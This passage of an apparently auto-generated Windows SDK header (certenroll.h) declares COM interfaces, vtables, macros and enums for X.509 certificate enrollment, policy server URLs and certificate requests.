ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PolicyServerUrl * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PolicyServerUrl * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Url )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Url )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ __RPC__in BSTR pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Default )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Default )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ VARIANT_BOOL value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Flags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Flags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ PolicyServerUrlFlags Flags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AuthFlags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AuthFlags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509EnrollmentAuthFlags Flags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Cost )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out DWORD *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Cost )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ DWORD value);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetStringProperty )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetStringProperty )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [in] */ __RPC__in BSTR pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *UpdateRegistry )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromRegistry )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        END_INTERFACE\n    } IX509PolicyServerUrlVtbl;\n\n    interface IX509PolicyServerUrl\n    {\n        CONST_VTBL struct IX509PolicyServerUrlVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PolicyServerUrl_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PolicyServerUrl_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PolicyServerUrl_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PolicyServerUrl_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PolicyServerUrl_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PolicyServerUrl_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PolicyServerUrl_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PolicyServerUrl_Initialize(This,context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,context) ) \n\n#define IX509PolicyServerUrl_get_Url(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Url(This,ppValue) ) \n\n#define IX509PolicyServerUrl_put_Url(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Url(This,pValue) ) \n\n#define IX509PolicyServerUrl_get_Default(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Default(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_Default(This,value)\t\\\n    ( (This)->lpVtbl -> put_Default(This,value) ) \n\n#define IX509PolicyServerUrl_get_Flags(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Flags(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_Flags(This,Flags)\t\\\n    ( (This)->lpVtbl -> put_Flags(This,Flags) ) \n\n#define IX509PolicyServerUrl_get_AuthFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AuthFlags(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_AuthFlags(This,Flags)\t\\\n    ( (This)->lpVtbl -> put_AuthFlags(This,Flags) ) \n\n#define IX509PolicyServerUrl_get_Cost(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Cost(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_Cost(This,value)\t\\\n    ( (This)->lpVtbl -> put_Cost(This,value) ) \n\n#define IX509PolicyServerUrl_GetStringProperty(This,propertyId,ppValue)\t\\\n    ( (This)->lpVtbl -> GetStringProperty(This,propertyId,ppValue) ) \n\n#define IX509PolicyServerUrl_SetStringProperty(This,propertyId,pValue)\t\\\n    ( (This)->lpVtbl -> SetStringProperty(This,propertyId,pValue) ) \n\n#define IX509PolicyServerUrl_UpdateRegistry(This,context)\t\\\n    ( (This)->lpVtbl -> UpdateRegistry(This,context) ) \n\n#define IX509PolicyServerUrl_RemoveFromRegistry(This,context)\t\\\n    ( (This)->lpVtbl -> RemoveFromRegistry(This,context) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PolicyServerUrl_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerListManager_INTERFACE_DEFINED__\n#define __IX509PolicyServerListManager_INTERFACE_DEFINED__\n\n/* interface IX509PolicyServerListManager */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PolicyServerListManager;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"884e204b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PolicyServerListManager : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PolicyServerUrl **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509PolicyServerUrl *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ PolicyServerUrlFlags Flags) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509PolicyServerListManagerVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PolicyServerListManager * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PolicyServerListManager * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PolicyServerListManager * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PolicyServerUrl **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ __RPC__in_opt IX509PolicyServerUrl *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509PolicyServerListManager * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ PolicyServerUrlFlags Flags);\n        \n        END_INTERFACE\n    } IX509PolicyServerListManagerVtbl;\n\n    interface IX509PolicyServerListManager\n    {\n        CONST_VTBL struct IX509PolicyServerListManagerVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PolicyServerListManager_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PolicyServerListManager_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PolicyServerListManager_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PolicyServerListManager_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PolicyServerListManager_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PolicyServerListManager_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PolicyServerListManager_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PolicyServerListManager_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509PolicyServerListManager_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509PolicyServerListManager_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509PolicyServerListManager_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509PolicyServerListManager_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509PolicyServerListManager_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509PolicyServerListManager_Initialize(This,context,Flags)\t\\\n    ( (This)->lpVtbl -> Initialize(This,context,Flags) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PolicyServerListManager_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0075 */\n/* [local] */ \n\ntypedef \nenum X509RequestType\n    {\n        TypeAny\t= 0,\n        TypePkcs10\t= 1,\n        TypePkcs7\t= 2,\n        TypeCmc\t= 3,\n        TypeCertificate\t= 4\n    } \tX509RequestType;\n\ntypedef \nenum X509RequestInheritOptions\n    {\n        InheritDefault\t= 0,\n        InheritNewDefaultKey\t= 0x1,\n        InheritNewSimilarKey\t= 0x2,\n        InheritPrivateKey\t= 0x3,\n        InheritPublicKey\t= 0x4,\n        InheritKeyMask\t= 0xf,\n        InheritNone\t= 0x10,\n        InheritRenewalCertificateFlag\t= 0x20,\n        InheritTemplateFlag\t= 0x40,\n        InheritSubjectFlag\t= 0x80,\n        InheritExtensionsFlag\t= 0x100,\n        InheritSubjectAltNameFlag\t= 0x200,\n        InheritValidityPeriodFlag\t= 0x400,\n        InheritReserved80000000\t= 0x80000000\n    } \tX509RequestInheritOptions;\n\ntypedef \nenum InnerRequestLevel\n    {\n        LevelInnermost\t= 0,\n        LevelNext\t= 1\n    } \tInnerRequestLevel;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0075_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0075_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateRequest_INTERFACE_DEFINED__\n#define __IX509CertificateRequest_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequest */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequest;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab341-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequest : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Encode( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ResetForEncode( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetInnerRequest( \n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out X509RequestType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnrollmentContext( \n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UIContextMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UIContextMessage( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SuppressDefaults( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SuppressDefaults( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RenewalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_RenewalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ClientId( \n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ClientId( \n            /* [in] */ RequestClientInfoClientId Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CspInformations( \n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_CspInformations( \n            /* [in] */ __RPC__in_opt ICspInformations *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_HashAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_HashAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithm( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlternateSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequest * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestVtbl;\n\n    interface IX509CertificateRequest\n    {\n        CONST_VTBL struct IX509CertificateRequestVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequest_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequest_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequest_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequest_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequest_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequest_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define 